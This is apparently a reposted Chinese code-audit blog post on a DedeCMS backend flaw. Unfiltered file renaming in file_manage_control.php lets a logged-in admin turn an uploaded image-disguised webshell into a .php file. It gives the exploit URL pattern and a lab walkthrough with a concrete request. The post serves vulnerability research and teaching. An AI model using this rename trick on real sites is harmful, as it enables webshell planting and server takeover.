代码审计-dedecms任意文件名修改拿shell

0x01 漏洞分析

漏洞文件: dede/file_manage_control.php $fmdo 开始时赋值,所以我们可以使fmdo=rename ,使其进入 if语句 ,调用 FileManagement 对象的 RenameFile 方法,跟进 RenameFile 方法。

关于这里的$fmdo变量,我们可以找找这个变量怎么来的

Ok那这里知道这个$fmdo变量是可以我们传递控制得到。

那我们跟进这个RenameFile函数

RenameFile函数位于/dede/file_class.php:

看到 $oldname  $newname 直接拼接生成,没有对文件名进行过滤,直接导致漏洞发生。所以最终payload为:

/dede/file_manage_control.php?fmdo=rename&oldfilename=你上传文件的路径&newfilename=你想写的路径

0x02 漏洞利用

登录后台后 可以上传一个图片马

 

这里可以看到上传的swf文件路径,接下来构造url改名,使其变为php后缀马

访问:

http://192.168.5.149/DedeCMS-V5.7/uploads/dede/file_manage_control.php?fmdo=rename&oldfilename=/DedeCMS-V5.7/uploads/uploads/media/190511/1_1555226071.SWF&newfilename=/secquan.php

显示上传成功

原文地址:https://www.cnblogs.com/-qing-/p/10849057.html